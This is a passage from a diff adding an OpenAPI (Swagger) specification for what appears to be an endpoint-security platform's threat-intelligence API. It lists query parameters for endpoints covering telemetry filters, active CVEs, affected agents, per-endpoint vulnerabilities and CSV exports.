+      operationId: data_threat_intelligence_TelemetryFilter_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_update
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: creation_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_retroactivity
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_modifier
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: target
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: sigma_rule
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: correlation_rule
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: comment
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: sigma_rule_id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: correlation_rule_id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: provided_by_hlab
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_disabled_by
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: enabled
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: usage_count_last_7_days
+          required: false
+          type: number
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+      tags:
+        - threat Intelligence
+    parameters: []
+    post:
+      deprecated: true
+      description: ""
+      operationId: data_threat_intelligence_TelemetryFilter_create
+      parameters: []
+      responses:
+        "201":
+          description: ""
+      tags:
+        - threat Intelligence
+  /data/threat_intelligence/Vulnerability/active_cve/:
+    get:
+      description: |-
+        * Details of the CVE itself
+        * The affected endpoint
+        * List of the vulnerable installations for this endpoint
+      operationId: data_threat_intelligence_Vulnerability_active_cve_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cve__id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cve__hidden
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cve__source_identifier
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cve__published
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cve__last_modified
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cve__cvss_metric_version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cve__cvss_metric_vector_string
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cve__cvss_metric_base_score
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: cve__cvss_metric_exploitability_score
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: cve__cvss_metric_impact_score
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: cve__cvss_metric_severity
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent__id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent__hostname
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent__osproducttype
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent__ostype
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent__osversion
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent__domainname
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent__groups__id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: vulnerable_installations__application__name
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ActiveCveListing'
+        "403":
+          description: Feature not enabled on this stack
+          examples:
+            application/json:
+              error: Feature not enabled on this stack
+          schema:
+            properties:
+              error:
+                type: string
+            required:
+              - error
+            type: object
+      summary: Get details about all CVE that are present at least on one endpoint.
+      tags:
+        - threat Intelligence
+    parameters: []
+  /data/threat_intelligence/Vulnerability/active_cve/distribution/:
+    get:
+      description: ""
+      operationId: data_threat_intelligence_Vulnerability_active_cve_distribution
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cve__id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cve__hidden
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cve__source_identifier
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cve__published
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cve__last_modified
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cve__cvss_metric_version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cve__cvss_metric_vector_string
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cve__cvss_metric_base_score
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: cve__cvss_metric_exploitability_score
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: cve__cvss_metric_impact_score
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: cve__cvss_metric_severity
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent__id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent__hostname
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent__osproducttype
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent__ostype
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent__osversion
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent__domainname
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent__groups__id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: vulnerable_installations__application__name
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - format: uuid
+          in: query
+          name: agent_id
+          required: false
+          type: string
+        - in: query
+          name: include_hidden_cves
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/VulnerabilityKpisDistribution'
+        "403":
+          description: Feature not enabled on this stack
+          examples:
+            application/json:
+              error: Feature not enabled on this stack
+          schema:
+            properties:
+              error:
+                type: string
+            required:
+              - error
+            type: object
+      tags:
+        - threat Intelligence
+    parameters: []
+  /data/threat_intelligence/Vulnerability/active_cve/export/:
+    get:
+      description: ""
+      operationId: data_threat_intelligence_Vulnerability_active_cve_export
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cve__id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cve__hidden
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cve__source_identifier
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cve__published
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cve__last_modified
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cve__cvss_metric_version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cve__cvss_metric_vector_string
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cve__cvss_metric_base_score
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: cve__cvss_metric_exploitability_score
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: cve__cvss_metric_impact_score
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: cve__cvss_metric_severity
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent__id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent__hostname
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent__osproducttype
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent__ostype
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent__osversion
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent__domainname
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent__groups__id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: vulnerable_installations__application__name
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+        "403":
+          description: Feature not enabled on this stack
+          examples:
+            application/json:
+              error: Feature not enabled on this stack
+          schema:
+            properties:
+              error:
+                type: string
+            required:
+              - error
+            type: object
+      tags:
+        - threat Intelligence
+    parameters: []
+  /data/threat_intelligence/Vulnerability/affected_agents/:
+    get:
+      description: Get list of agent affected by a specific CVE
+      operationId: data_threat_intelligence_Vulnerability_affected_agents
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: domainname
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: dnsdomainname
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: hostname
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: osmajor
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: osminor
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: osproducttype
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: firstseen
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: lastseen
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: pinned_version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: rollback_version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: bitness
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: domain
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: installdate
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: ipaddress
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: external_ipaddress
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: osbuild
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: osid
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: osrevision
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: osversion
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: producttype
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: servicepack
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: total_memory
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: cpu_count
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: cpu_frequency
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: avg_cpu
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: avg_memory
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: avg_system_cpu
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: avg_system_memory
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: starttime
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: machine_boottime
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: machine_serial
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: subnet__gateway_ipaddress
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: subnet__gateway_macaddress
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: subnet__name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: isolation_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: antivirus_name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: antivirus_version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: antivirus_rules_version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: antivirus_last_update_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: antivirus_rules_last_update_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: additional_info
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: additional_info__additional_info1
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: additional_info__additional_info2
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: additional_info__additional_info3
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: additional_info__additional_info4
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: effective_antivirus_policy_id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: effective_antivirus_policy_revision
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: boot_loop_protection_end_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: boot_loop_protection_boot_count
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: telemetry_last_update
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: should_change_id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: protocol
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: host
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: port
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: public_server_signature
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: proxy_protocol
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: proxy_host
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: proxy_port
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: vdi_salt
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: update_method
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: upgrade_status
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: upgrade_failure_reason
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          minLength: 1
+          name: cve_id
+          required: true
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AgentsAffectedByVulnListing'
+        "403":
+          description: Feature not enabled on this stack
+          examples:
+            application/json:
+              error: Feature not enabled on this stack
+          schema:
+            properties:
+              error:
+                type: string
+            required:
+              - error
+            type: object
+      tags:
+        - threat Intelligence
+    parameters: []
+  /data/threat_intelligence/Vulnerability/agent/:
+    get:
+      description: Get all active vulnerabilities for a given agent
+      operationId: data_threat_intelligence_Vulnerability_agent
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: source_identifier
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: published
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_modified
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cvss_metric_vector_string
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cvss_metric_base_score
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: cvss_metric_exploitability_score
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: cvss_metric_impact_score
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: cvss_metric_severity
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - format: uuid
+          in: query
+          name: agent_id
+          required: true
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AgentVulnerabilitiesListing'
+        "403":
+          description: Feature not enabled on this stack
+          examples:
+            application/json:
+              error: Feature not enabled on this stack
+          schema:
+            properties:
+              error:
+                type: string
+            required:
+              - error
+            type: object
+      tags:
+        - threat Intelligence
+    parameters: []
+  /data/threat_intelligence/Vulnerability/byApplication/:
+    get:
+      description: ""
+      operationId: data_threat_intelligence_Vulnerability_byApplication_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/VulnerableApplicationWithCountAggregation'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+        "403":
+          description: Feature not enabled on this stack
+          examples:
+            application/json:
+              error: Feature not enabled on this stack
+          schema:
+            properties:
+              error:
+                type: string
+            required:
+              - error
+            type: object
+      tags:
+        - threat Intelligence
+    parameters: []
+  /data/threat_intelligence/Vulnerability/byApplication/export/:
+    get:
+      description: ""
+      operationId: data_threat_intelligence_Vulnerability_byApplication_export
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+        "403":
+          description: Feature not enabled on this stack
+          examples:
+            application/json:
+              error: Feature not enabled on this stack
+          schema:
+            properties:
+              error:
+                type: string
+            required:
+              - error
+            type: object
+      tags:
+        - threat Intelligence
+    parameters: []
+  /data/threat_intelligence/Vulnerability/byCVE/:
+    get:
+      description: |-
+        A read-only endpoint that returns a list of CVEs with the number of distinct endpoints
+        that have the CVE, the highest score, the last report date, and the list of applications
+        that have the CVE.
+
+        The queryset is annotated with the following fields:
+
+        - nb_endpoints: The number of distinct endpoints that have the CVE.
+        - applications: The list of applications that have the CVE.
+      operationId: data_threat_intelligence_Vulnerability_byCVE_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - description: Number of impacted endpoints
+          in: query
+          name: nb_endpoints
+          type: integer
+        - description: Number of impacted applications
+          in: query
+          items: string
+          name: nb_applications
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/CveVulnerabilitiesAggregationListing'
+        "403":
+          description: Feature not enabled on this stack
+          examples:
+            application/json:
+              error: Feature not enabled on this stack
+          schema:
+            properties:
+              error:
+                type: string
+            required:
+              - error
+            type: object
+      tags:
+        - threat Intelligence
+    parameters: []
+  /data/threat_intelligence/Vulnerability/byCVE/export/:
+    get:
+      description: |-
+        A read-only endpoint that returns a list of CVEs with the number of distinct endpoints
+        that have the CVE, the highest score, the last report date, and the list of applications
+        that have the CVE.
+
+        The queryset is annotated with the following fields:
+
+        - nb_endpoints: The number of distinct endpoints that have the CVE.
+        - applications: The list of applications that have the CVE.
+      operationId: data_threat_intelligence_Vulnerability_byCVE_export
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+        "403":
+          description: Feature not enabled on this stack
+          examples:
+            application/json:
+              error: Feature not enabled on this stack
+          schema:
+            properties:
+              error:
+                type: string
+            required:
+              - error
+            type: object
+      tags:
+        - threat Intelligence
+    parameters: []
+  /data/threat_intelligence/Vulnerability/byCVEForEndpoint/:
+    get:
+      description: For a given endpoint, returns basic informations regarding its affected CVEs
+      operationId: data_threat_intelligence_Vulnerability_byCVEForEndpoint_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - format: uuid
+          in: query
+          name: endpoint_id
+          required: true
+          type: string
+        - in: query
+          name: include_hidden_cves
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/CveVulnerabilitiesAggregationForEndpoint'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+        "403":
+          description: Feature not enabled on this stack
+          examples:
+            application/json:
+              error: Feature not enabled on this stack
+          schema:
+            properties:
+              error:
+                type: string
+            required:
+              - error
+            type: object
+      tags:
+        - threat Intelligence
+    parameters: []
+  /data/threat_intelligence/Vulnerability/byCVEForEndpoint/export:
+    get:
+      description: For a given endpoint, returns basic informations regarding its affected CVEs
+      operationId: data_threat_intelligence_Vulnerability_byCVEForEndpoint_export
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+        "403":
+          description: Feature not enabled on this stack
+          examples:
+            application/json:
+              error: Feature not enabled on this stack
+          schema:
+            properties:
+              error:
+                type: string
+            required:
+              - error
+            type: object
+      tags:
+        - threat Intelligence
+    parameters: []
+  /data/threat_intelligence/Vulnerability/byEndpoint/:
+    get:
+      description: ""
+      operationId: data_threat_intelligence_Vulnerability_byEndpoint_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: hostname
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: osproducttype
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: ostype
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: osversion
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: lastseen
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: domainname
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: groups
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: latest_vulnscan_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: vulnerabilityscanresult__cve__id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: vulnerabilityscanresult__vulnerable_installations__application__name
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: include_hidden_cves
+          type: boolean
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AgentVulnerabilitiesAggregationListing'
+        "403":
+          description: Feature not enabled on this stack
+          examples:
+            application/json:
+              error: Feature not enabled on this stack
+          schema:
+            properties:
+              error:
+                type: string
+            required:
+              - error
+            type: object
+      tags:
+        - threat Intelligence
+    parameters: []
+  /data/threat_intelligence/Vulnerability/byEndpoint/export/:
+    get:
+      description: ""
+      operationId: data_threat_intelligence_Vulnerability_byEndpoint_export
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: hostname
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: osproducttype
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: ostype
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: osversion
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: lastseen
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: domainname
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: groups
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: latest_vulnscan_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: vulnerabilityscanresult__cve__id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: vulnerabilityscanresult__vulnerable_installations__application__name
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+        "403":
+          description: Feature not enabled on this stack
+          examples:
+            application/json:
+              error: Feature not enabled on this stack
+          schema:
+            properties:
+              error:
+                type: string
+            required:
+              - error
+            type: object
+      tags:
+        - threat Intelligence
+    parameters: []
+  /data/threat_intelligence/Vulnerability/cve/:
+    get:
+      description: |-
+        * Details of the CVE itself
+        * Score of the CVE
+        * Affected applications (vendor and product part of a CPE string)
+      operationId: data_threat_intelligence_Vulnerability_cve_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cvss_metric_severity
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cvss_metric_base_score
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_modified
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: published
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cpes__prefix
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/CveDetails'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+        "403":
+          description: Feature not enabled on this stack
+          examples:
+            application/json:
+              error: Feature not enabled on this stack
+          schema:
+            properties:
+              error:
+                type: string
+            required:
+              - error
+            type: object
+      summary: Get details about all CVE in the database.
+      tags:
+        - threat Intelligence
+    parameters: []
+  /data/threat_intelligence/Vulnerability/cve/export/:
+    get:
+      description: ""
+      operationId: data_threat_intelligence_Vulnerability_cve_export
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cvss_metric_severity
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cvss_metric_base_score
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_modified
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: published
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cpes__prefix
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
